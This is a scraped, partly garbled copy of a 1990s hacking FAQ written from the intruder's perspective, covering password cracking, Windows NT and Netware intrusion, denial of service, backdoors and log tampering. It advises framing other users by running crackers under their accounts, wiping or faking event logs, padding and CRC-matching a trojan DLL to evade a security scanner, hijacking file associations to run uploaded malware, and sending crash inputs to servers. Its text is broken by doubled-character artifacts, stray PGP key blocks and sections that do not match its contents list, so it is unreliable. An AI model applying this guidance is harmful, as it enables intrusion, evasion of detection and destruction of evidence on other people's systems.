Documente Academic
Documente Profesional
Documente Cultură
This FAQ is intended to show and explain the steps and techniques
behind hacking. While it serves both admin and hacker alike, the per-
spective is from the intruder.
______________________________________________________________________
Table of Contents
2. Attack Basics
3. Account Basics
4. Password Basics
6. Misc Info
7. NT Basics
7.1 What are the components of NT security?
7.2 How does the authentication of a user actually work?
7.3 What is "standalone" vs. "workgroup" vs. "domain"?
7.4 What is a Service Pack?
7.5 What is a Hot Fix?
7.6 Where are Service Packs and Hot Fixes?
7.7 What's with "C2 certification"?
7.8 Are there are interesting default groups to be aware of?
7.9 What are the default directory permissions?
7.10 Are there any special restrictions surrounding the Administrative Tools
group in Presentation Manager?
7.11 What is the Registry?
7.12 What are hives?
7.13 Why is the Registry like this and why do I care?
8. NT Accounts
9. NT Passwords
15.1 )HEADING
18.1 What's the "secret" way to get Supe access Novell once taught CNE's?
18.2 How do I use SETPWD.NLM?
18.3 I don't have SETPWD.NLM or a disk editor. How can I get Supe access?
18.4 What's the "debug" way to disable passwords?
18.5 How do I defeat console logging?
18.6 Can I set the RCONSOLE password to work for just Supervisor?
18.7 How can I get around a locked MONITOR?
18.8 Where are the Login Scripts stored in Netware 4.x and can I edit them?
18.9 What if I can't see SYS:_NETWARE?
18.10 So how do I access SYS:_NETWARE?
18.11 How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
18.12 What else can be done with console access?
______________________________________________________________________
mQCNAzEQrjMAAAEEANaIf2AiInhVwmrZEFZ5V2eyZfuJfjoI9unJwRhokwJ4TtVh
ApEwjXVEbJBCPRKOHzibi5IEF2BirpzzlSy0Aj82yZk/iqYtJO60S0aycSPNPBl5
BmoLJaUjxakmnMMXOl3qdeWWtScpP7B4QTHyfsHRvQz0HSUPxh6RUqAiTzdxAAUR
tCRTaW1wbGUgTm9tYWQgPHRoZWdub21lQGZhc3RsYW5lLm5ldD4=
=v0Xj
-----END PGP PUBLIC KEY BLOCK-----
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
pRIi/CztAg==
=c+/T
-----END PGP PUBLIC KEY BLOCK-----
Testing for a large part of the material was completed in the NMRC lab
and at various field locations. Most of the tools used during testing
are available from the NMRC web site in the files section (alternate
locations are listed in the resources section for these tools).
Specific testing for Netware was done in the lab and at field
locations. For NT the lab was used, but due to a recent "moment of
clarity" NT is no longer operational in the labs. Field locations will
be used from now on. Web related hacking information has been done in
the field but due to a couple of odd related projects we currently
have resources for this type of testing in the lab. Unix testing is
also done in the lab, but primarily limited to Linux, OpenBSD,
FreeBSD, and AIX.
www.nmrc.org/faqs/hackfaq/index.html
<http://www.nmrc.org/faqs/hackfaq/index.html>.
This FAQ is available in other formats, including its raw SGML. See
the www.nmrc.org/faqs/index.html <http://www.nmrc.org/faqs/index.html>
page for details.
+#o PEME_Inc
Lab Support:
+#o Live
+#o Filter
1#1.#.8#8.#. C#Ch#ha#an#ng#ge#el#lo#og#g
Here are the changes that have been made to this FAQ:
1. Learn as much as possible about your target before the attack. The
techniques involved can be passive to bordering on mini-attacks
themselves. And plan out your goals. Using your knowledge gained
develop a plan, no matter how small or quick the hack is.
2. Initial access to the system. No doubt about it, this is the real
attack part. This could be anything from ftp access to a sendmail
bug to logging in as a "regular" user. It should either create an
opportunity for indirect or direct access.
Account names are usually something either very common, such as a part
of the user's name (like tshimomura or kmitnick), part of a user's
function (like dbadmin or webmaster), or sometimes kind of goofy, like
employee numbers (like u121), or something made up (like up-uat or
imnsho). Usually if you can find out one or two regular user account
names, it might be possible to guess additional names -- particularly
if employee numbers or account numbers are used.
Groups are simply groupings of users. They are primarily used to ease
system administration. For example, instead of having to assign access
to a new hard drive to the forty accounting users, an admin just has
to assign the accounting group the access. Even special privileges can
often be assigned by group, such as the ability to manage a set of
programs or system functions like printing.
Most modern systems allow accounts to belong to more than one group.
4#4.#. P#Pa#as#ss#sw#wo#or#rd#d B#Ba#as#si#ic#cs#s
If the one-way hashes are not the password itself but a mathematical
derivative, why should they be protected? Well, since the algorithm is
already known, a password cracker could be used to simply encrypt the
possible passwords and compare the one-way hashes until you get a
match. There are two types of approaches to this -- dictionary and
brute force.
Usually the hashes are stored in a part of the system that has extra
security to limit access from potential crackers.
If your dictionary cracker does not have manipulation rules, you can
"pre-treat" the wordlist. Therion's Password Utility for DOS is a good
example of a wordlist manipulation tool that allows all kinds of ways
to filter, expand, and alter wordlists. With a little careful
planning, you can turn a small collection of wordlists into a very
large and thorough list for dictionary crackers without those fancy
word manipulations built in.
It really depends on your goal, the cracking software you have, and
the operating system you are trying to crack. Let's go through several
scenarios.
If you already have basic access and used this access to get the
password file, maybe you have a particular account you wish to crack.
While a couple of swipes with a dictionary cracker might help, brute
force may be the way to go.
If your cracking software does both dictionary and brute force, and
both are quite slow, you may just wish to kick off a brute force
attack and then go about your day. By all means I recommend a
dictionary attack with a pre-treated wordlist first, followed up by
brute force only on the accounts you really want the password to.
You should pre-treat your wordlists if the machine you are going to be
cracking from bottlenecks more at the CPU than at the disk controller.
For example, some slower computers with extremely fast drives make
good candidates for large pre-treated wordlists, but if you have the
CPU cycles to spare you might want to let the cracking program's
manipulation filters do their thing.
The dangers are quite simple, and quite real. If you are caught with a
password file from a system you do not have legitimate access to, you
are technically in possession of stolen property in the eyes of the
law. For this reason some hackers like to run cracking on someone
else's systems, thereby limiting their liability. I would only
recommend doing this on a system you have a legitimate or well
established account on if you wish to keep a good eye on things, but
perhaps have a way of running the cracking software under a different
account than your own. This way, if the cracking is discovered (as it
often is -- cracking is fairly CPU intensive), it looks to belong to
someone else. Obviously you would want to run this under system
adminstrator priviledges as you may have a bit more control, such as
assigning lower priority to the cracking software, and hiding the
results (making it less obvious to the real administrator). Being on a
system you have legit access to also allows you better access to check
on the progress. Of course if it is known you are a hacker, you'll
still be the first to be blamed whether the cracking software is yours
or not!
Running the cracking software in the privacy of your own home has the
advantage of allowing you to throw any and all computing power you
have at your disposal at a password, but if caught (say you get
raided) then there is little doubt whose cracking job is running ;-)
but there are a couple of things you can do to protect yourself.
First, encrypt your files. Only decrypt them when you are viewing
them, and wipe and/or encrypt them back after you are done viewing
them. Also, have a legitimate copy of the OS whose password you are
trying to correct, and import the one-way hash into your own password
file. Therefore you are cracking "your own" passwords to protect your
own system. Granted this isn't exactly foolproof, but it could only
help.
Reasons that a hacker might want to resort to DoS might include the
following:
+#o The hacker isn't a hacker at all, but a pissed off lamer who has a
poor outlook and too much free time.
+#o The hacker is acting out of the need (or delusion) that the DoS
serves a greater good, such as a DoS attack on Pro Life sites by
Pro Choice believers.
+#o A Sys Admin may want to ensure that their site is NOT vulnerable by
testing out the latest patch.
+#o A Sys Admin has a runaway process on a server causing problems and
cannot physically access the box (I have officially done this twice
now).
+#o The Sys Admin isn't a Sys Admin at all, but a pissed off lamer who
has a poor outlook and too much free time.
A SYN Flood attack is when the client does not response to the SYN-
ACK, tying up the service until the service times out, and continues
to send SYN packets. The source address of the client is forged to a
non-existant host, and as long as the SYN packets are sent faster than
the timeout rate of the TCP stack waiting for the time out, the
resources of the service will be tied up.
Most others involve ICMP packets (re: ping) and creating massive
floods of ICMP traffic, or other packet malformations. Search the net
for smurf.c or teardrop.c for more details.
6#6.#. M#Mi#is#sc#c I#In#nf#fo#o
A backdoor is simply a way back into a system that not only bypasses
existing security to regain access, but may even defeat any additional
security enhancements added onto a system.
Backdoors can range from the simple to the exotic. Simple backdoors
might include creating a new user account just for your intrusion
needs, or taking over a little-used account. More complex backdoors
may bypass regular access completely and involve trojans, such as a
login program that gives you administrative access if you type in a
special password.
Some types of logging include simple text files with entries showing
logins and logouts, maybe failed logins. Others show what programs
were accessed, which programs were attempted to be run and the request
failed, or keep track of an individual's disk usage. All can reveil
info that can allow an administrator to reconstruct an attack.
Typically log files do not disappear. This might lead a curious sys
admin to poke around looking for problems, and the paranoid sys admin
to look for intruders. The logs should be edited if possible, or the
entries made into them made to look as normal as possible.
This section deals with the basics and other background info to help
prepare for NT hacking.
There are several different components. Each has a role within the
overall NT security model. Because of the amount and complexity of
components in the security model, not only should the individual
components be explored, but how they work together should be explored.
SAM handles user and group accounts, and provides user authentication
for LSA.
SRM enforces access validation and auditing for LSA. It checks user
accounts as the user tries to access various files, directories, etc,
and either allows or denies access. Auditing messages are generated
as a result. The SRM contains a copy of the access validation code to
ensure that resources are protected uniformly throughout the system,
regardless of resource type.
An important part of the security model, the UI is mainly all that the
end user sees, and is how most of the administration can be performed.
First, a user logs on. When this happens, NT creates a token object
that represents that user. Each process the user runs is associated
with this token (or a copy of it). The token-process combination is
refered to as a subject. As subjects access objects such as files and
directories, NT checks the subject's token with the Access Control
List (ACL) of the object and determines whether to allow the access or
not. This may also generate an audit message.
User and group accounts are handled differently between domain and
workgroup situations. User accounts can be defined on a local or
domain level. A local user account can only logon to that local
computer, while a domain account can logon from any workstation in the
domain.
A Hot Fix is what is released between Service Pack releases. A Hot Fix
is generally released to address a specific problem or condition. Some
Hot Fixes may have a prerequisite of a certain Service Pack, and are
typically included in the next Service Pack.
Once again, some of the Hot Fixes are downright dangerous to monkey
around with, and many LAN folks will simply neglect installation
especially at large NT shops. And once again this is good news for the
hacker.
Hot Fixes are not as well tested as the Service Packs are -- often
they are released after headline-grabbing security flaws are
announced, so they are often rushed to press.
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/ussp3
ftp://ftp.microsoft.com/bussys/winnt/winnt-
public/fixes/usa/nt40/hotfixes-postSP3
I'm not going to get into a bunch of detail on this. There are far
better places to go for the info, but I will state this -- running the
c2config utility to "lock down" your system will not protect you if
you want to run third party software, use the floppy drive, or connect
to the network. It is simply a marketing tactic used by Microsoft. The
C2 tested configuration had no network access and no floppy drive. Who
wants to use that?
Also members of these groups can login at the console. As you explore
the NT sections of this FAQ and possibly someone else's server,
remember these permissions. Gaining a Server Operator account and
placing a trojan that activates after a remote shutdown could get you
Administrator.
Event Log - Anyone can run Event Viewer, but only members of the
Administrators group can clear logs or view the Security Log.
Backup - Anyone can backup a file they have normal access to, but only
the Administrators and Backup Operators can over override normal
access.
User Manager - Users and Power Users can create and manage local
groups.
User Manager for Domains - Users and Power Users can create and manage
local groups if logged on at the server console, otherwise it is
restricted to Administrators and Account Operators.
The Registry is the central core registrar for Windows NT. Each NT
workstation or server has its own Registry, and each one contains info
on the hardware and software of the computer it resides on. For
example, comm port definitions, Ethernet card settings, desktop
setting and profiles, and what a particular user can and cannot do are
stored in the Registry. Remember those ugly system INI files in
Windows 3.1? Well, they are all included with even more fun stuff into
one big database called the Registry in NT.
+#o SAM and SECURITY - These keys contain the info such as user rights,
user and group info for the domain (or workgroup if there is no
domain), and passwords. In the NT hacker game of capture the flag,
this is the flag. Bag this and all bets are off.
The keys are binary data only (for security reasons) and are
typically not accessible unless you are an Administrator or in the
Administrators group. It is easier to copy the data and play with
it offline than to work on directly. This is discussed in a little
more detail in the ``NT Password'' section.
There are three subkeys under HARDWARE, these are the Description
key, the DeviceMap key, and the ResourceMap key. The Description
key has describes each hardware resource, the DeviceMap key has
data in it specific to individual groups of drivers, and the
ResourceMap key tells which driver goes with which resource.
+#o SYSTEM - This key contains basic operating stuff like what happens
at startup, what device drivers are loaded, what services are in
use, etc. These are split into ControlSets which have unique system
configurations (some bootable, some not), with each ControlSet
containing service data and OS components for that ControlSet. Ever
had to boot from the "Last Known Good" configuration because
something got hosed? That is a ControlSet stored here.
+#o SOFTWARE - This key has info on software loaded locally. File
associations, OLE info, and some miscellaneous configuration data
is located here.
Hackers should look for the SAM file, with the SAM.LOG file as a
secondary target. This contains the password info.
There are two accounts that come with NT out of the box --
administrator and guest. In a network environment, I have run into
local administrator access unpassworded, since the Sys Admin thought
that global accounts ruled over local ones. Therefore it is possible
to gain initial access to an NT box by using its local administrator
account with no password.
NetFRAME Systems Engineers use "aaa" as the default password for new
installs.
It is possible that a Sys Admin will create a new account, give that
account the same access as the god account, and then remove part of
the access to the former god account. The idea here is that if you
don't know the real god account name, you can't get in with god
priviledges.
Also see section From The Network which discusses a bug that allows
you to get the new Administrator account name.
4. Select SHARING.
7. You will now see the entire group listing of the target.
8. Select SHOW USERS and you will see the entire user listing,
including full names and descriptions.
For even more information, rum DumpACL and go for the user and group
reports. This should give you every account on the box, plus a host of
other useful info, such as who logged in last, if a password is
required, who is in what group, etc. From this you can target specific
accounts to attempt access.
9#9.#. N#NT#T P#Pa#as#ss#sw#wo#or#rd#ds#s
If the Sys Admin updates their repair disks, or you get a hold of a
copy of the repair disks, you can get password database. The file is
SAM._ in the ERD directory.
If you are insane, you can go poking around in the SAM secret keys.
First, schedule service to logon as LocalSystem and allow it to
interact with the desktop, and then schedule an interactive regedt32
session. The regedt32 session will be running as LocalSystem and you
can play around in the secret keys. However, if you change some stuff
this might be very bad. You have to be Administrator to do this,
though, so for the hacker you need to walk up to the machine while the
Administrator is logged in and distract them by telling them they're
giving away Microsoft t-shirts in the lobby (this doesn't always work
;-). Of course you can simply use a couple of different utilities for
dumping the password hashes out, like PWDUMP or even running
L0phtcrack (which has pwdump code built in) if you are in as
Administrator.
You get passwords. First use a copy of SAMDUMP.EXE to extract the user
info out of it. You do not need to import this data into the Registry
of your home machine to play with it. You can simply load it up into
one of the many applications for cracking passwords, such as
L0phtCrack. See section 3 for more info on NT passwords and cracking
them.
The reason there are two hashes is because the Lan Manager hash is for
legacy support. In an all-NT environment it would be desirable to turn
off Lan Man passwords. Since Lan Man uses a weakened DES key and
converts all alpha characters to uppercase, it is easier to crack. The
regular NT method uses a stronger algorithm and allows mixed-cased
passwords.
lc201exe.zip Mudge and Weld Pond Unix, includes Best of the bunch, can
from the L0pht GUI NT version do brute force very
and DOS version quickly, also can use
a dictionary.
By cracking the Lan Man password first, the NT password can be brute
forced to determine the proper case of each alpha character.
L0phtcrack 2.01, the latest version as of this writing, is lightning
fast.
There are several freeware utilities that allow for password changing
with rules enforced. These range from the simple passwd utility by
Alex Frink to Microsoft's own utilities. The NT Server 4.0 Resource
Kit has a utility called Passprop that enforces random passwords. Also
on Service Pack 2 is a DLL called PASSFILT that will does basically
the same thing.
9#9.#.8#8.#. C#Ca#an#n a#an#n S#Sy#ys#s A#Ad#dm#mi#in#n
p#pr#re#ev#ve#en#nt#t/#/s#st#to#op#p S#SA#AM#M e#ex#xt#tr#ra#ac#ct#ti#io#on#n?#?
Let's say an admin is checking the last time certain users have logged
in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time
it will NOT be.
First off, a number of ``NT client attacks'' may not work if your
target system does not allow logins except at the console. Any brute
force attack will obviously work much quicker if you are not going
across the network.
Obviously gaining access to the file system from the console is much
easier than across a network, especially if the Sys Admin is trying to
keep you out.
There is a post SP3 Hot Fix available from Microsoft that defeats this
if loaded.
If you gain local administrator, try some of these tricks (these will
work with the default settings after installation on the target):
+#o NBTSTAT -A x.x.x.x (plug in the IP address of the box you're after)
+#o Add the machine name this returns to your LMHOSTS file.
+#o If you are not on an NT 4.x machine, type NBTSTAT -R to refresh the
NetBios names.
In a share you have read/write access to, upload it. Now change the
association between .txt files and notepad to point to the location of
the uploaded file, like \\ThisWorkstation\RWShare\badboy.exe.
Of course, if the Sys Admin is smart they will have removed write
permission from Everyone for HKEY_CLASSES_ROOT, only giving out full
access to creator\owner.
1#11#1.#.4#4.#. W#Wh#ha#at#t a#ab#bo#ou#ut#t
%#%s#sy#ys#st#te#em#mr#ro#oo#ot#t%#%t#te#em#m3#32#2 b#be#ei#in#ng#g
w#wr#ri#it#te#ea#ab#bl#le#e?#?
ISS (www.iss.net) has a security scanner for NT which will detect the
trojan DLL, so you may wish to consider adding in extra junk to the
above code to make the size of the compiled DLL match what the
original was, and using a CRC matcher program (several exist on the
Internet) to make the CRC between the trojan and the real version
match. This will prevent the current shipping version of ISS's NT
scanner from picking up the trojan.
If the Sys Admin runs passprop.exe they can turn on the lockout
feature of Administrator.
"A UDP status query is sent to the target, which usually elicits a
reply containing the Netbios 'computer name'. This is needed to
establish a session. The reply also can contain other information such
as the workgroup and account names of the machine's users. This part
of the program needs root privilege to listen for replies on UDP port
137, since the reply is usually sent back to UDP port 137 even if the
original query came from some different port.
"TCP connections are made to the target's Netbios port [139], and
session requests using the derived computer name are sent across.
Various guesses at the computer name are also used, in case the status
query failed or returned incomplete information. If all such attempts
to establish a session fail, the host is assumed invulnerable to
NETBIOS attacks even if TCP port 139 was reachable.
"Attempts are then made to connect to all listed file system shares
and some potentially unlisted ones. If the server requires passwords
for the shares, defaults are attempted as described above for session
setup. Any successful connections are then explored for writeability
and some well-known file-naming problems [the ".." class of bugs].
"If a NETBIOS session can be established at all via TCP port 139, the
target is declared under the appropriate vulnerability at most of
these steps, since any point along the way be blocked by the Security
configurations of the target. Most Microsoft-OS based servers and Unix
SAMBA will yield computer names and share lists, but not allow actual
file-sharing connections without a valid username and/or password. A
remote connection to a share is therefore a possibly serious Security
problem, and a connection that allows WRITING to the share almost
certainly so. Printer and other 'device' services offered by the
server are currently ignored."
If you need more info on NAT, try looking at this web location:
http://www.secnet.com/ntinfo/ntaudit.html
<http://www.secnet.com/ntinfo/ntaudit.html>
MWC has released an exploit that allows the following to occur -- the
registry of a remote machine can be accessed, a list of users AND of
shares can be obtained, even if the intruder hasn't logged in.
+#o Any NT machine with NetBios bound to the network can have its
registry read or written to if Everyone has that access.
+#o Using Lan Manager calls can give a list of all users, the
Administrator (if renamed), and a list of all shares.
Using this access a trojan could be loaded, since often the group
Everyone has access to application software.
It is possible that a Sys Admin could have unbound NetBios from the
interface. This would disallow some access. Typically at a security
aware site you would find the machines outside the firewall, like the
Web server or FTP server configured this way (and all other access
blocked by the firewall. However if you compromise the machine this
could be a handy partial backdoor -- especially if you are using one
machine as a "drop" during an attack.
The bug can manually be done -- no exploit code needed. Try this from
a 4.00 workstation:
Now run User Manager, Event Viewer, Registry Editor, or simply use the
net command to target the remote machine.
If all the users are moved from the Everyone group, you not be able to
exploit this. For you admins out there, ISS has released a tool to
automate this "move users out of Everyone" process. And admins you
should check and see what shares that Everyone can get to.
Sure. ;-)
+#o The request is sniffed, and the query ID number is obtained from
the request packet.
+#o Since we know the previous query ID number, chances are the next
query ID number will be close to that number.
The main thing to realize about shares is that there are a few that
are invisible. Administrative shares are default accounts that cannot
be removed. They have a $ at the end of their name. For example C$ is
the administrative share for the C: partition, D$ is the
administrative share for the D: partition. WINNT$ is the root
directory of the system files.
How does it bypass the packet filter? Typically packet filtering only
drops the fragmented packet with the offset of zero in the header. The
example source forges the headers to get around this, and NT happily
reassembles what does arrive.
Try and get familiar with the net use and net user commands before
attacking.
Each of the programs contains a built-in help screen. Just run any of
the programs with a "-h" argument and the help screen will be
displayed. Most utlilities support a "-r" option for recursive options
throughout the program.
There are several DoS attacks involving a simple telnet client that
can be used against an NT server.
Telnetting to port 80 and typing "GET ../.." will also crash IIS.
If the latest service pack is loaded the attack will not work.
It is reportedly possible to lock onto a port, say like port 19, and
when the server crashes and comes up ROLLBACK.EXE will start trying to
unlock the port and subsequently opens up the registry for anyone to
wipe it. I was unsuccessful in getting this to happen in the lab, but
probably because I find DoS attacks rather lame I didn't try very hard
to get it to work. But others claim it can happen, so keep it in mind.
If you are so inclined, try a web search for "winnuke" which will get
you probably a thousand locations with the code.
If a domain user logs onto the console, creates a file and removes its
permissions, it is possible that another user can log onto the console
and delete the file. The problem affects all versions of NT. However,
this isn't what I'd consider "Denial of Service" as it is more like
denial of a file. Depending on the file, though, it could be used as
DoS.
If you are running smbmount with version 2.0.25 of Linux, you can
crash an NT server. smbmount is intended to be run on Linux 2.0.28 or
higher, so it doesn't work right on 2.0.25. You also need a legit user
account. Running as root, type smbmount //target/service /mnt -U
client_name, followed by ls /mnt will hang the shell on Linux (no
biggie) and blue screen the target server (biggie).
The final DoS I'm aware of involves Microsoft's DNS on NT 4.0 server.
If you send it a DNS response when it did not make a query, DNS will
crash.
The latest service packs and post service pack patches fix all of
these problems.
This section contains info regarding logging and backdoors for NT.
As a hacker do not worry about the AppEvent.Evt file much -- you are
mainly concerned with items in the regular event log (the SysEvent.Evt
file) and the security log (the SecEvent.Evt). By default regular
users should be able to read the regular event log, and you may wish
to look that over if you can to see if your "visit" left a trace. If
it did and the entries look out of place, consider adding entries from
other users that are similiar by accessing the system as these other
users.
Well this can be a little tricky as these files are locked in place
during NT's operation. You have a couple of choices at this time --
wipe the logs or try to add stuff to them to add camoflage
obfuscation. Not elegant, but better than nothing.
Start the Event Viewer, and from the Log menu select Security. You
view individual items by double clicking on them. To clear them (which
is an all or nothing proposition) select Clear All Events from Log. If
asked to save the info, answer no.
If you need to do this from a command line, check out the question "I
hack from my Linux box. How can I do all that GUI stuff on remote NT
servers?" in the NT Client Attacks section.
In a DACL, each ACE specifies the types of access that are allowed or
denied for a specified trustee. An object's owner controls the
information in the object's DACL. For example, the owner of a file
can use a DACL to control which users can have access to the file, and
which users are denied access.
If the security descriptor for an object does not have a DACL, the
object is not protected and the system allows all attempts to access
the object. However, if an object has a DACL that contains no ACEs,
the DACL does not grant any access rights. In this case, the system
denies all attempts to access the object.
A SID contains:
For example, let's say the system admin has built a home directory for
you on the server, but has disallowed the construction of directories
or files that you wish to make available to the group Everyone. You
are wanting to make this special directory so that you can easily
retrieve some hack tools but you are cut off. However, if the sys
admin left you as the owner of the home directory, you can go in and
alter its permissions. This is because as long as you are the owner or
Administrator you still control the file. Oh sure, you may get a few
complaints from the system when you are doing it, but it can be done.
Since NTFS has security integrated into it, there are not too many
ways around it. The main one requires access to the physical system.
Boot up the system on a DOS diskette, and use NTFSDOS.EXE. It will
allow you to access an NTFS volume bypassing security.
The last quirk is that if you have a directory with Full Control
instead of RWXDPO permissions, then you get a hidden permission called
File Delete Child. FDC cannot be removed. This means that all members
of the group Everyone can delete any read-only file in the directory.
Depending on what the directory contains, a hacker can replace a file
with a trojan.
Samba talks SMB and can directly access Windows NT hardware, and
Hobbit (hobbit@avian.org) has put together a very interesting paper
entitled "CIFS: Common Insecurities Fail Scrutiny". It is highly
recommended reading for admins and hackers alike. Included in the
paper are details and source patches to allow easier attacking on NT.
Studying the source code of Samba taught me a lot, but Hobbit's paper
puts everything in a whole new light. It provides some well documented
basics on how a lot of the communications work, detailing exactly WHY
certain protocols and behaviours are vulnerable to abuse.
Get Samba and read its documentation. Read Hobbit's paper and apply
the patches. Period.
If the service pack has been loaded, but it's still 3.X, try the
following.
+#o This will start a 30 second shutdown on the target and a Security
window will pop up.
+#o Wiggle the mouse on the target. The screen will go blank.
Port scanning will find some. Typically you'll see port 135 open. This
is no guarantee it's not Windows 95, however. Using Samba you should
be able to connect and query for the existence of
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT and then check
\CurrentVersion\CurrentVersion to determine the version running. If
guest is enabled, try this first as Everyone has read permissions here
by default.
Port 137 is used for running NetBios over IP, and since in the Windows
world NetBios is used, certainly you can expect port 137 to be open if
IP is anywhere in use around NT.
Another possible indication is checking for port 139. This tells you
your target is advertising an SMB resource to share info, but it could
be any number of things, such as a Windows 95 machine or even Windows
for Workgroups. These may not be entirely out of the question as
potential targets, but if you are after NT you will have to use a
combination of the aforementioned techniques coupled with some common
sense.
I was playing around in the registry, looking for odd things, and
found this strange entry under
System\CurrentControlSet\Services\MSFTPSVC\Parameters:
EnablePortAttack: REG_DWORD:
A port scanner for doing this from a Unix box can be found at
http://www.nmrc.org/files/unix/ftp-scan.c
<http://www.nmrc.org/files/unix/ftp-scan.c>
If port 135, 137, 138, and 139 are open on the target of a scan, it is
quite possible that the target is NT (although it could be Win95 or
even WFW 3.11, see the questions and answers above).
If the server is running a POP3 server like Exchange, you can use a
brute force technique to guess passwords. Odds are that the sys admin
is not logging or looking at logs for this stuff. In particular, if
you are dealing with a sys admin that isn't used to the wild and wooly
Unix world, it may not even occur to the admin to look. This is
something that NT folks are just now having to face, whereas their
Unix admin counterparts have had to maintain this level of scrutiny
for a while.
Let's say an admin is checking the last time certain users have logged
in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time
it will NOT be.
In theory, however no one has yet coded the exploit. It would involve
a complex spoofing job where not only would the session have to be
hijacked at the transport level (getting all of the ACK/NACK numbering
correct), but the tree ID (TID) and user ID (UID) would have to be
spoofed at the redirector and server level respectively. We are
talking SMB at this point.
NT LM 0.12 uses MD4 to generate keying material, and since upper and
lower case are allowed, the full 56 bits allowed by DES can be used.
This does not eliminate the problem -- it simply increases the
difficulty of brute force against a plaintext/ciphertext pair.
However this does nothing towards a realtime attack. The best method
would be as follows:
+#o Attacker sees this session, and waits for the response from the
server.
+#o Server sends the response and the Attacker grabs it.
+#o Client receives the Attacker's packet, and now assumes a plaintext
password should be used.
+#o Client receives the real packet from the server, but ignores it
thinking it is a dupe.
+#o Attacker grabs the password and now logs into the Server directly.
+#o Client times out or gets an error, and figures a network error has
occurred. Client tries to log in again.
It is also possible in theory to catch the session before the
authentication process even starts. For example:
+#o Client starts a session, and sends a request to the DNS server to
resolve a host name.
+#o Attacker sees this request, and forges a reply that the Attacker's
IP address is the address for the host the Client is requesting.
+#o Attacker kills the session with the Client, and the Client thinks
an error has occurred, and tries again.
This attack has been partially implemented with the c2myazz file,
which forces a plaintext login.
This is possible, but unlikely, on anything requiring the TID and UID
as a part of the spoof. TCP Sequence Number Prediction involves
guessing what the TCP numbering sequence is, and inserting packets to
(typically) execute commands on the target host with the proper
sequence number.
Dildog has written the definative paper on the subject. Check out "The
Tao of Windows Buffer Overflow" at http://www.cultdeadcow.com/cDc-351/
<http://www.cultdeadcow.com/cDc-351/> for a complete picture of buffer
overflows, how they work, and how to code your own exploits for
Microsoft operating systems.
1#15#5.#.1#1.#.
